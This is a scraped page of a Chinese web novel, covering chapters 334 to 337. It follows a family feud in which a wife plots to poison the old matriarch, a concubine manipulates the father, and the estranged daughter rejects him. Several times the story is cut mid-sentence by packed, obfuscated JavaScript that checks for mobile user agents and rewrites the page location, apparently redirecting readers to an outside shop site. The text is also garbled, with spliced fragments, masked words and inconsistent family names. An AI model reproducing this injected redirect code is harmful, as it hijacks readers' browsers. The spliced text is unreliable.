“无知蠢妇!头发长见识短!” 晏明远脸色铁青,狠狠拍着桌子,上好的紫檀木桌面被拍得“砰砰”直响。 他今天在外面受了一肚子的气,回来还要面对这个疯婆子,更是气不打一处来。 钱雅芝站在他对面,冷冷地看着他,眼神中没有一丝温度。 “我无知?我头发长见识短?” 她冷笑一声,声音尖锐刺耳, “那你倒是说说,你有什么高见?你倒是把这事儿给平了啊!” 晏明远被她噎得说不出话来,脸色更加难看。 “当初把人赶出去的时候,你也没拦着啊!现在倒是怪起我来了?” 钱雅芝步步紧逼,毫不退让, “你以为你有多清高?你还不是跟我一样,只想着自己的利益!” “你给我闭嘴!” 晏明远怒吼一声,额头上的青筋都爆了起来, “你还有脸说!要不是你当初非要把人赶出去,我们至于落到今天这个地步吗?!” “我呸!” 钱雅芝狠狠地啐了一口, “晏明远,你少往自己脸上贴金!你敢说你当初没动过这个心思?你敢说你一点儿都不后悔?!” 晏明远被她戳中了心事,脸色一阵青一阵白。 “我懒得跟你这个疯婆子废话!” 他深吸一口气,强压下心头的怒火, “总之,这件事情你别再插手了!否则,别怪我不客气!” “不客气?你想怎么不客气?” 钱雅芝冷笑, “休了我吗?还是把我赶出庄家?你舍得吗?你敢吗?” 她一步步逼近晏明远,眼神中充满了挑衅和嘲讽, “你别忘了,我娘家可不是吃素的!你敢动我一下试试?!” 晏明远被她气得浑身发抖,却又无可奈何。 他知道,钱雅芝说的是实话。 他不能动她,至少现在不能。 “你……你真是不可理喻!” 他咬牙切齿地说道, “总有一天,你会后悔的!” “后悔?我最后悔的,就是嫁给你这个窝囊废!” 钱雅芝狠狠地瞪了他一眼,转身摔门而去。 晏明远看着她离去的背影,只觉得一阵无力。 他颓然地坐在椅子上,捂着脸,深深地叹了口气。 他知道,这个家,算是彻底完了。“夫人,慎言啊!” 周嬷嬷只觉腿肚子一软,“扑通”一声跪倒,险些带翻了手边的茶盏。瓷器碰撞的细碎声响,更衬得她嗓音发颤。 “您说的都是气话,奴婢听着就是了,可这话要是传出去……是要酿成大祸的啊!” 她急急抬手,虚虚地捂住钱雅芝的嘴,又像是怕逾矩般飞快缩回,指尖还残留着方才的战栗。 “夫人,您可千万冷静些,万不能……自己往旁人手里递刀子啊!” 钱雅芝想让仲姨娘和晏清萦死,周嬷嬷尚能理解。毕竟,这么多年,她们为了在这深宅大院里立足,手里哪能干净得了? 可眼下,钱雅芝竟然连晏老夫人也一并算计,周嬷嬷如何还能坐视不理?她心里清楚,真要出了事,自己这个贴身伺候的,怕是第一个要被推出去当替罪羊! 钱雅芝缓缓拨开周嬷嬷颤抖的手,唇角勾起一抹冷笑,目光阴鸷得像淬了毒的信子, “你怕什么?” 蔻丹鲜红,衬得她指节森白。她缓缓抚过冰凉的护甲,笑意却未达眼底, “在这苏府,只有我让别人不得好死,还没人敢来算计我!” 她顿了顿,指尖轻轻叩击着桌面,发出“笃笃”的声响,像是在敲打着周嬷嬷的心房, “既然她不肯安分守己,偏要与我作对……那我也只能,送她去黄泉路上走一遭了!” 话音轻柔,却字字如刀,剜在周嬷嬷的心上。 周嬷嬷只觉一股寒意从脚底直窜头顶,激得她浑身一个激灵。她张了张嘴,想说些什么,却又不知从何说起。 “夫人……” 周嬷嬷的声音带了哭腔,额头重重磕在青石板上,发出沉闷的声响。这地砖冰凉,可她却觉得,再冷也冷不过自己的心了, “老夫人她……她到底碍不着咱们什么呀!三姑娘又是个没见过世面的,您何苦跟她置气?” 她深吸一口气,努力平复着内心的恐惧, “您想想,老夫人真要有个三长两短,老爷那边……您要如何交代?” 晏明远会追究? 钱雅芝像是听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622871|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了什么笑话,忍不住“嗤”地一声笑了出来。那笑声里,满是不屑与轻蔑, “你怕是糊涂了!晏明远他……当真敬重他那位嫡母吗?” “他又不是老太太亲生的!” 钱雅芝微微眯起眼睛,眼神中闪过一丝算计, “他亲娘是谁?不过是个上不得台面的洗脚丫头!仗着有几分姿色,就妄想攀龙附凤,也不看看自己配不配!最后呢?还不是落得个尸骨无存的下场!” 她顿了顿,像是回忆起了什么似的,语气中带着一丝惋惜, “晏明远他小时候没了娘,孤苦伶仃的,正好老夫人膝下空虚,就把他接到身边养着。可到底不是一个肚子里出来的,能有多亲近?不过是面子情罢了!” 这些年,钱雅芝自认把晏明远的心思摸得透透的。这男人,看着光鲜亮丽,实则比谁都自私凉薄。 不然,晏明远又怎会如此宠妾灭妻?说白了,还不是跟他那个薄情寡义的爹学的! 钱雅芝眼中闪过一丝轻蔑。她就知道,晏明远对晏老夫人,不过是面子上的恭敬。要不然,晏老夫人提了那么多次,他怎么就死活不肯把晏清澜那个小**接回来? 表面看是不喜欢那个女儿,实际上呢?恐怕是对老夫人心存怨怼! 钱雅芝冷笑一声。晏明远的心思,她再清楚不过。 他亲娘虽说是个洗脚婢,可到底是他的亲娘!晏老夫人再好,可又好在哪?不就是仗着个正室的名头,压了他亲娘一辈子! 别说什么正室不正室,在钱雅芝看来,不过是个名头。 晏明远他亲娘到死,都只是个妾!连个牌位都没有!晏明远如今发达了,那些曾经欺负过他亲娘的人都**,可他心里的那口气,能咽得下去? 他不敢怨恨自己的父亲,难道还不敢怨恨一个没有血缘关系的嫡母? 钱雅芝眼神闪烁。晏明远或许不会亲自动手,可若是有人替他做了……他怕是会乐见其成。 从前,钱雅芝没把晏老夫人放在眼里,只当她是个可有可无的摆设。 可如今不一样了。晏老夫人竟敢为了晏清萦那个小蹄子来给她没脸,这口气,她如何咽得下? 钱雅芝的眼神瞬间变得阴冷,周身的气息也变得阴森可怖, “她既然不仁,就别怪我不义! 第三百三十四章 从她为了晏清萦斥责我的那一刻起,就该想到会有今天!” 她眼中闪过一丝狠厉, “等着瞧吧,晏明远……他不会为了一个老太婆,跟我翻脸的!” 钱雅芝心里清楚,晏明远这种人,最是自私不过。什么孝道,什么情分,在他眼里,都不如自己的利益来得重要。 从前,周嬷嬷是她手里的刀,替她**,替她铲除异己。 这些年,她们联手做下的腌臜事,数都数不清。 周嬷嬷以为自己是钱雅芝的心腹,可她心里比谁都清楚,钱雅芝不过是把她当成一条狗。 一条听话好用的狗。 可狗再忠心,也有老了、病了、没用的一天。 到了那时候,钱雅芝会怎么对她? 周嬷嬷不敢想,她怕自己会落得个比那些被她害死的人更凄惨的下场。 她垂下眼帘,掩去眼底的恐惧与不安。 她年纪大了,跪得久了,只觉膝盖一阵阵发疼。 可钱雅芝却像是完全忘了这回事,连眼皮都没抬一下。 周嬷嬷的心,一点点沉了下去。 这么多年,她为了钱雅芝,做了那么多伤天害理的事,到底划不划算? 她真的还要这样下去,跟钱雅芝一起,在这条不归路上越走越远吗? 周嬷嬷不是觉得钱雅芝错了,她只是害怕了。 害怕自己有一天,也会像那些死在她们手里的人一样,不得好死。 她开始后悔,可又能如何? 这些年,她跟钱雅芝做的那些事,哪一件不是见不得光的? 她要是敢生出一点异心,钱雅芝会放过她? 不可能的。 钱雅芝一定会杀了她,让她永远闭嘴!周嬷嬷只觉得膝盖越来越沉,像是灌了铅,每动一下都撕扯着疼。 心也跟着往下坠,沉甸甸的。 她想起这些年,自己为钱雅芝做的那些见不得光的事。 一桩桩,一件件,在脑海里翻滚。 她忽然有些迷茫,像迷失在了浓雾里。 这一切,究竟值不值得? 她倒不是觉得钱雅芝做错了什么。 她只是害怕。 怕自己有朝一日,也落得个尸骨无存的下场。 可是,事到如今,再后悔又有什么用? 周嬷嬷身子微微颤抖,像风中残烛。 要是让钱雅芝知道自己生了异心…… 她不敢往下想。 --- 晏明远从钱雅芝屋里出来,脸色黑得像锅底。 他一路疾走,直接进了仲姨娘的院子。 刚一进门,晏明远就烦躁地在屋里转起圈来。 步子又快又重,仿佛要把心里的火气都踩出来。 他紧锁眉头,像是在跟谁较劲。 额上的青筋突突直跳,看着让人心惊。 仲姨娘见状,心疼得不行。 她赶紧上前,倒了一杯温热的茶水。 茶盏里,几朵新晒的菊花,随着水波轻轻晃动。 “老爷,您这是遇上什么难事了?” 仲姨娘的声音,软软糯糯的,像江南的三月烟雨。 她把茶盏递到晏明远手边,指尖若有若无地,碰了碰他的手背。 “妾身虽然不懂朝堂上的那些弯弯绕绕,可您这样干着急,也不是个事儿啊。” “要不……” 仲姨娘抬起头,一双水汪汪的眼睛,望着晏明远。 “要不您坐下来,跟妾身好好说说。” “说出来,兴许心里能好受些。” 她一边说,一边伸出手,轻轻抚平晏明远紧皱的眉头。 指尖的温度,熨帖着他的肌肤。 仲姨娘其实算不上什么倾国倾城的美人。 但她的眉眼,却偏偏有几分像年轻时的钱雅芝。 那双勾魂的眸子,简直是一个模子里刻出来的。 年轻时的钱雅芝,别的且不说,单是那双眼睛,就足以颠倒众生。 温柔,多情。 她伫立在飘落的梨花下,连满树的梨花,都要黯然失色。 可如今,岁月无情。 钱雅芝的那双眼睛里,早就没了当年的神采。 只剩下了算计和阴毒,像淬了毒的药渣,怎么藏都藏不住那股子恶臭,让人避之不及。 仲姨娘却不一样。 晏明远看着她,只觉得连日来积压在心头的郁气,都消散了不少。 他长叹一声,终于开口,把今天发生的事,还有心头的那些疑虑,一五一十地说了出来。 “朝堂上的那些事,牵一发而动全身,稍有不慎,就是万劫不复……” 晏明远握住仲姨娘的手,眉头又拧成了川字。 “皇上**这事,非同小可。太医院那帮老家伙,一个个都束手无策,怎么偏偏阿清那丫头,就能看出门道?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622872|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “燕王那边传了消息过来,皇上借着这个机会,把太医院给狠狠地整治了一番!” 晏明远越说越激动,手上的力道也重了几分。 “太医院的院使,还有那两个院判,一个都没落下,全都被撸了!” 他顿了顿,声音压得极低。 “明面上看,那院使是燕王的人,可实际上呢?那两个院判,一位是三皇子的亲信,另一位是效忠四皇子的暗卫。剩下的那些,哪个又没点背景?” “可如今呢,皇上**,这潭水才刚刚开始浑,发落几个太医有什么用?这往后的事,还不知道要怎么发展呢!” 晏明远说完,疲惫地揉了揉太阳穴。 仲姨娘一直静静地听着,没有插话。 这些朝堂上的权谋争斗,她一个深闺妇人,哪里懂得? 但她心里跟明镜似的,此刻她还不能暴露自己。 若是轻举妄动,说错了话,惹得晏明远不高兴,那就得不偿失了。 晏明远显然也没指望仲姨娘能给他出什么好主意。 他停顿了一下,又继续说道: “还有一件事,让本官心里七上八下的。就是阿清那丫头,她竟然能看出皇上中了毒,还口口声声说自己能解毒。” 他的语气里,带着几分质疑。 “她真有这能耐?” 晏明远脸色越来越阴沉。 仲姨娘一直在等这个机会。 她不动声色地皱了皱眉,脸上露出一丝恰到好处的担忧。 “老爷,您是怀疑……” 仲姨娘话说一半,故意停了下来。 “您是怀疑,今日这出戏,是皇上和四姑娘合伙演的?” 晏明远猛地抬起头,眼中闪过一抹惊讶,转瞬即逝。 “还是你心思细腻!” 他轻轻拍了拍仲姨娘的手背。 “不像那个蠢婆娘!整日里就知道算计自家人,别的什么都不会!” 晏明远冷哼一声,语气里满是鄙夷。 “她还跟我这儿显摆,说什么阿清被赐婚给燕王,是活腻歪了。” 他越说越气。 “也不想想,童玄珏是什么人?” 晏明远换了个说法。 “他要是不乐意,别说是圣旨了,就是皇上亲自来,这婚事也成不了!” “再说了,就算这婚事是皇上的意思,可阿清毕竟是苏府的人,怎么圣旨反倒送去陆家了? 第三百三十五章 ” 晏明远语气激动起来,一掌拍在桌子上,茶水都溅了出来。 “皇上身边的那些内侍,哪个不是人精?他们会不清楚这其中的厉害关系?” “可他们还是这么做了!不仅做了,还大张旗鼓地从苏府门前走过去,这不明摆着打咱们苏府的脸吗?” “这事儿,要说不是皇上授意的,谁信?” 说到这儿,晏明远气得直喘粗气。 “这分明是有人故意做给咱们庄家看!这圣旨,与其说是给晏清澜的,不如说是给陆家的!”仲姨娘心中暗自发笑。 仲姨娘低着头,眼底闪过一丝冷意。 可不是做给庄家看的吗? 谁让庄家自己作死,早早地就跟晏清澜撇清了关系。 人家陆家呢? 明里暗里地护着晏清澜,还说什么“陆家姑娘,绝不做不忠不义之事”。 这话,明摆着是说给皇上听的。 皇上又不傻,能听不出来? 这圣旨,不给陆家,难道还给庄家? 给了庄家,那才是笑话呢! 不过,这些话,仲姨娘可不会傻到说出来。 她只是轻轻叹了口气,装作一副茫然无知的样子。 “皇上是不是和四姑娘提前商量好的,妾身不敢乱说。” 仲姨娘抬起眼眸,看了晏明远一眼,又迅速垂下眼帘。 “只是妾身有一事不明,一直想不通透。” 她一边给晏明远添茶,一边轻声说道: “都说,打断骨头连着筋,这家人之间,哪有过不去的坎儿?” “可庄家和四姑娘,怎么就闹成了这样?水火不容的……” “这……到底是为了什么呀?” 仲姨娘的声音很轻,带着几分疑惑,几分惋惜。 她看着晏明远,眼神里充满了不解。 就好像,她真的对这一切一无所知。 “妾身进府前,虽说不上见多识广,可也没见过哪家的亲人,能闹成这样的。” “老爷,您能跟妾身说说,四姑娘和家里人,这中间到底发生了什么事吗?” 看似漫不经心的几句话,却句句都戳在了晏明远的痛处。 是啊。 晏清澜为什么这么恨庄家? 晏明远愣住了。 他呆呆地坐在那里,脑子里一片空白。 他想了很久,却怎么也想不明白。 他自己也想不通,庄家到底哪里亏待了晏清澜? 是缺了她的吃穿,还是少了她的用度? 怎么这孩子,就对庄家恨之入骨? 晏明远无力地摇了摇头,眼神里充满了迷茫。 “我也不清楚……” 他喃喃自语。 “细细想来,庄家确实没做过什么对不起她的事。” 他顿了顿,似乎在努力回忆。 “若说真有什么,大概就是……这些年,我们对玥玥,确实是更偏爱一些……” 晏明远的声音,越来越低。 他像是突然想到了什么,猛地抬起头。 “可……可她是姐姐啊!姐姐让着妹妹,这难道不是应该的吗?” 他越说越激动。 “说到底,还不是她自己心眼小,见不得别人好!看到我和她几个哥哥对玥玥好,她心里就不痛快!” “这都是她那个武母没教好!她小时候一直在老太太跟前长大,心思都学坏了!”“心胸狭隘?” 仲姨娘纤纤玉指端起青花瓷茶盏,轻轻拨动着漂浮的茶叶,眼波流转,闪过一丝不易察觉的玩味。 “老爷,您当真觉得,四姑娘只是因为嫉妒六姑娘得宠,才对庄家如此怨怼?” 她抬眸,视线落在晏明远紧锁的眉头上。那深深的纹路,仿佛能夹死一只苍蝇。窗外鸟鸣声声,一声高过一声,吵得人心烦。 晏明远猛地一挥手,衣袖带起一阵风。 “她总是贪得无厌!”语气里是毫不掩饰的烦躁。 “要是她能开阔点思维,豪门与她之间,何以会走到如今这般田地?” 晏明远甚至开始后悔,当初真该听钱雅芝那疯婆娘的话,直接把晏清澜掐死,也省得今日这许多祸患。 一个赔钱货,早死早干净。 仲姨娘不动声色地观察着晏明远的反应,红唇微勾,扯出一个极淡的弧度。 她在苏府待了这么久,明里暗里打探了不少消息,对晏清澜和庄家的那些陈年旧账,也算略知一二。 但在晏明远面前,她必须装作一副与世无争、懵懂无知的模样。 这苏府里,谁不是戴着面具做人? “哎呀,原来是这么回事。” 仲姨娘放下手中茶盏,发出一声清脆的响声,像是故意要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16625904|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸引晏明远的注意。她伸出柔荑,轻轻抚上晏明远紧皱的眉心,指尖传来温热的触感。悠长的木质香气,在空气中缓缓弥漫,这是她惯用的熏香,似有安抚人心的力量。 她眉眼低垂,如秋水般温柔,声音轻得像一片羽毛: “依妾身看,大人不必太过操心。” 晏明远下意识地放松了身体,紧绷的神经稍稍舒缓。 “想来四姑娘的心结,不过是女儿家之间的一些小嫉妒,没什么大不了的。” 仲姨娘继续轻声细语,像是在哄一个孩子。 “按理来说,大人只要善待四小姐,温柔一些,莫要再同她说那些重话,她自然就回心转意了。” 说到这,仲姨娘突然话锋一转,欲言又止,像是有些难以启齿: “只是现在……唉!” 她幽幽地叹了口气,长长的睫毛微微颤动,眉宇间写满了惋惜,仿佛在为晏明远感到遗憾。 晏明远的心,一下子被提到了嗓子眼,急切追问: “若不是什么?你倒是快说啊!” 他最讨厌这种话说一半留一半的感觉,像是有什么东西梗在喉咙里,不上不下,难受得紧。 仲姨娘垂下眼帘,遮住了眼底的情绪,朱唇轻启,说话又纠结又小心: “请大人原谅我多嘴,我才敢接着说下去。” 晏明远一把抓住她的手,力道有些大,像是怕她跑了似的: “说这些见外的做什么?在我面前,有话直说就是,不必如此小心翼翼。” 他的语气中带着一丝急切,还有一丝不易察觉的依赖。 “你跟其他人不同。” 晏明远补充道。那些人,指的是谁,不言而喻。 仲姨娘感受到手上传来的力道,心中冷笑。 她当然知道自己与旁人的不同之处。就算从前不清楚,进了苏府之后,也明白了。无非是这双眼睛,还有她平和柔顺的气度,像极了某个人。 像又如何?终究不是。 仲姨娘抬眸,目光清澈如水,语气中带着几分惆怅: “妾身毕竟是女子,见识短浅,思考问题总是比大人格局小。” 她微微侧头,像是思索,又像是回忆: “妾身总觉得,四姑娘变成如今这样,怕不只是因为姐妹争宠。” “您想,姐妹间有些小打小闹,再寻常不过。 第三百三十六章 可四姑娘对庄家的怨,像是扎了根、发了芽,长成了参天大树,这可不是一朝一夕能长成的。” 她顿住,用眼尾余光观察着晏明远的神色变化。 晏明远紧抿着唇,眉头紧锁,脸色阴沉。 “委屈”二字,像一根针,刺痛了他。 “老爷日理万机,为国事操劳,自然少有时间关注后宅琐事。这委屈,定然不是从您这儿来的。” 仲姨娘巧妙地将晏明远摘了出去。 “至于夫人……”仲姨娘故意停顿了一下,仿佛在斟酌用词,“她平日里对六姑娘呵护备至,捧在手里怕摔了,含在嘴里怕化了。照理说,对四姑娘也该差不到哪里去。” “妾身也曾听闻,老夫人最是疼爱小辈,断不会做出薄待孙女的事情来。” 她语气一转,话里带了几分猜测: “难不成,是几位少爷年少气盛,不懂得怜香惜玉,言语上冲撞了四姑娘?又或者……” 她声音低了下去,带着几分试探: “是府里的下人狗眼看人低,仗着夫人对六姑娘的偏爱,就对四姑娘阳奉阴违?” 说到这里,仲姨娘停下来,看向晏明远。 晏明远沉默不语。 仲姨娘这一番话,看似在为钱雅芝和晏老夫人开脱,实则却将苏府后宅的阴暗面,一点点揭露在晏明远面前。 良久,晏明远才缓缓开口,声音低沉而沙哑: “你倒是把她们想得太好了。” 他叹了口气,像是回忆起了什么不愉快的事情,眼中闪过一丝厌恶。 “阿清小时候,身子弱,常年病着。她那个娘,非但不心疼,还变着法儿地折磨她。” “大冬天,不给炭火,不给厚被子,还让她跪在冰冷的地上抄经书。” 晏明远越说越气,拳头紧紧地攥在一起,指节因为用力而泛白。 “府里的下人,都是见风使舵的。见她娘不待见阿清,一个个也跟着作践她。克扣她的吃穿用度,还敢给她脸色看。” “这些事,我都知道。只是……” 晏明远停顿了一下,似乎有些难以启齿: “只是我那时,一心扑在朝堂上,觉得后宅这些鸡毛蒜皮的小事,实在不值一提。” “再加上,阿清被养在老夫人那里,我……”他摇了摇头,没有再说下去。 对晏老夫人,他始终心存芥蒂。 仲姨娘听了这番话,心中了然。 晏明远并非全然不知,只是他选择了漠视。 他厌恶晏清澜体弱多病,厌恶她被养在老夫人身边,更厌恶钱雅芝的无理取闹。 所以,他干脆眼不见为净,将所有的责任都推给了钱雅芝。 如今,晏清澜强势归来,他才开始正视这个问题,却依旧不肯承认自己的过错。 仲姨娘轻轻叹了口气,语气中带着几分惋惜: “没想到,夫人竟是这样的人。难怪四姑娘对庄家如此怨恨。” 她顿了顿,又道: “都说母女连心,夫人这样做,四姑娘心里该有多难受啊。” “不过,妾身听说,有些妇人会将对丈夫的不满,发泄到孩子身上。夫人如此厌恶四姑娘,莫不是……” 她及时止住了话头,像是意识到自己说错了话,连忙捂住嘴巴: “哎呀,瞧我这张破嘴,又乱说话了!老爷恕罪,妾身不是故意要提起这些陈年往事的。” 她小心翼翼地观察着晏明远的脸色,生怕惹恼了他。 “夫人对六姑娘那么好,不该亏待四小姐。四小姐降生那会,老爷和夫人应该还很恩爱才是……” 她试图转移话题,将矛头引开。 “恩爱?”晏明远冷笑一声,仿佛听到了什么天大的笑话。 他对钱雅芝,早已没有了当年的情分。 仲姨娘的话,却让他想起了钱雅芝这些年来对他的怨恨。 这个女人,一直揪着当**情不放,不就是对他有怨气吗! 仲姨娘见晏明远脸色阴沉,知道自己的目的已经达到。 她笑了笑,主动结束了这个话题: “好了,不说这些不开心的事了。老爷,如今最要紧的,是想想如何让四姑娘回心转意。” 她语气轻快,仿佛胸有成竹: “依妾身看,这事儿也不难。老爷您是四姑娘的父亲,血浓于水,她绝对不会像对待夫人那样善待您。您不妨找个机会,和四姑娘好好谈谈,把话说开了,误会也就解了。”仲姨娘那番话,也不知晏明远听进去了几分。 次日辰时刚过,晏清澜在陆家院中练剑。 一套剑法刚舞完,她正待收剑回鞘,却听得身后传来一阵细碎的脚步声。 “姑娘,庄老爷来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16625905|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来禀报的是陆家的小丫鬟,名叫青梅。 青梅口中的“庄老爷”,自然指的是晏清澜的生父,晏明远。 晏清澜昨夜宿在陆家,并未回自己那间名为“浮萍居”的冷清小院。 她闻言,握着剑柄的手微微一顿,唇角勾起一抹若有似无的笑。 “来得倒挺快。” 她低声自语,声音轻得几乎只有自己能听见。 阳光透过枝叶,洒在剑身上,映出她清冷的眉眼。 “青梅,你且去回禀一声,就说我随后就到。” 晏清澜将长剑缓缓插入鞘中,对青梅吩咐道。 青梅应了声“是”,却并未立即离开,而是目光在晏清澜身上转了转,似乎有什么话想说。 晏清澜见状,挑了挑眉: “怎么,还有事?” 青梅犹豫了一下,还是小声开口: “姑娘,您……就穿这身去见庄老爷?” 她指的是晏清澜身上那套练功穿的劲装。 这身衣裳,剪裁简洁,方便活动,倒也没什么不妥。 只是…… 待会儿要见的,毕竟是晏清澜的生父。 就这么一身打扮,未免显得太过随意了些。 青梅倒不是担心晏清澜失礼。 她只是觉得,晏明远那种人,何必让闺女为这种人精心装扮。 晏清澜瞥了青梅一眼,哪能不明白这小丫头的心思? 她笑了笑,反问道: “不然呢?难不成还要焚香沐浴,换上诰命夫人的朝服,再给他行三跪九叩的大礼?” 青梅被她这话逗得“扑哧”一声笑了出来。 她连连摆手: “姑娘您可别打趣奴婢了,奴婢哪敢有那个意思?” “只是……空着手去不太好吧?” 晏清澜听出话外音。 她眨眨眼,把手里的剑往前一递,故作严肃地说: “见面礼?有啊,给他来个"一剑封喉"怎么样?” 青梅吓了一跳。 她赶紧捂住晏清澜的嘴,四下张望,压低声音: “我的好姑娘,您可小点声儿吧!这话要是传出去,还不得被人戳脊梁骨?” 晏清澜拨开她的手,不以为意地耸耸肩: “怕什么,反正我和他早就断绝关系了。 第三百三十七章 ” 她理了理衣袖,抬脚往花厅的方向走去。 “走吧,咱们去会会这位‘贵客’。” 青梅连忙小跑着跟上。 快到花厅时,晏清澜的脚步微微一顿。 她转过头,看向不知何时跟上来的傅清霁和厉宗玉。 三人交换了一个眼神,彼此心照不宣。 那眼神中,有戏谑,有玩味,还有一丝……期待? “走吧,好戏开场了。” 晏清澜轻声说道,率先迈步走进了花厅。 傅清霁和厉宗玉紧随其后。 刚一进门,傅清霁便眼尖地发现,花厅里除了晏明远,竟再无一人伺候。 她心念一动,立刻明白了晏清澜的打算。 “哎呀,这大热天的,怎么也没个人上茶?” 傅清霁故作惊讶地嚷嚷了一句,随即转头对厉宗玉说道: “仲齐,你去厨房看看,让他们沏壶好茶来。” 厉宗玉心领神会,点点头,转身走了出去。 傅清霁则寻了个离晏明远最远的位置坐下,一副看好戏的模样。 如此一来,花厅里便只剩下了晏清澜和晏明远二人。 晏清澜也不说话,只是静静地站在那里,目光落在晏明远面前的茶杯上。 杯中的茶叶,早已泡开,缓缓沉入杯底。 气氛,一时有些凝滞。 晏明远原本以为,晏清澜见到他,至少会主动开口说些什么。 可他没想到,晏清澜竟一言不发,只是冷冷地看着他。 那眼神,像是要把他看穿一般。 晏明远心里有些发毛,但他还是强自镇定,努力挤出一个慈祥的笑容: “阿清,这些年……你过得可好?” 他试图用温情来软化晏清澜。 可话一出口,他自己都觉得有些虚伪。 更何况,他的眉头,还微微皱着,显然对晏清澜这一身打扮,并不满意。 晏清澜将他的神情尽收眼底,心中冷笑。 “这演技,还真是……一如既往的拙劣。” 她暗自腹诽。 “晏大人,咱们明人不说暗话。” 晏清澜打断了晏明远的“表演”,开门见山地说道: “您今日前来,不就是想让我跟您回去,认个错吗?” “您是不是还想说,父女之间没有隔夜仇,有什么误会,当面说开了就好?” 晏明远被她这番话说得一愣。 他张了张嘴,想要反驳,却又不知该如何开口。 晏清澜见他不说话,又继续说道: “这样吧,晏大人,咱们也别浪费时间了。” 她活动了一下手腕,语气中带着一丝漫不经心: “您要是真想让我跟您回去,也不是不可以。” “不过,我有个条件。” 晏明远一听这话,顿时来了精神: “什么条件?你说!” 晏清澜微微一笑,眼中闪过一丝狡黠: “简单。您不是一直觉得我不够孝顺吗?” “那咱们就来比试比试,看看谁更‘孝顺’。” 晏明远一头雾水: “比试?怎么比?” 晏清澜指了指自己,又指了指晏明远: “您要是能赢了我,我就跟您回去,任凭您处置。” “可您要是输了……” 她故意拉长了声音,语气中带着一丝玩味: “那以后,你们苏府的人,见着我,都得绕道走。” “如何?” 晏明远闻言,脸色顿时变得铁青。 他万万没想到,晏清澜竟然会提出这样的条件。 这简直就是…… “荒唐!” 晏明远怒喝一声,猛地一拍桌子: “你这是在挑战我的底线!” “我可是你爹!你怎么敢……” “爹?” 晏清澜打断了他的话,冷笑一声: “您也配?” “您要是真把我当女儿,就不会这么多年对我不管不问!” “您要是真把我当女儿,就不会任由那些人在我背后嚼舌根,说我是个没人要的野种!” “您要是真把我当女儿……” 晏清澜的声音,越来越冷,眼中充满了怨恨和失望: “就不会……就不会……” 她深吸一口气,强压下心中的怒火,一字一顿地说道: “晏明远,别再跟我提什么父女之情了。” “我们之间的关系,早就断了。” “今日,要么您答应我的条件,要么……您就从哪儿来,回哪儿去!” 晏清澜说完,转身就走。 晏明远看着她决绝的背影,气得浑身发抖。 他万万没想到,自己竟然会被一个“孽女”逼到如此境地。 “你……你给我站住!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634498|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏明远怒吼道,声音中充满了愤怒和不甘。 晏清澜停下脚步,缓缓转过身来。 她的脸上,没有一丝表情,眼中一片冰冷。 “怎么,晏大人还有什么指教?” 晏明远看着她那副冷漠的模样,心中一阵绞痛。 他知道,自己和这个女儿之间,是真的……回不去了。 “好……好……好……” 晏明远一连说了三个“好”字,声音中充满了苦涩和无奈: “既然你执意如此,那我也无话可说。” “从今往后,你我……恩断义绝!” 他猛地一甩袖子,转身大步离去。 晏清澜看着他离去的背影,眼中闪过一丝复杂的情绪。 有解脱,有释然,也有……一丝淡淡的失落。 “结束了……” 她轻声呢喃,声音中带着一丝疲惫。 傅清霁走到她身边,轻轻拍了拍她的肩膀: “都过去了。” 晏清澜点了点头,没有说话。 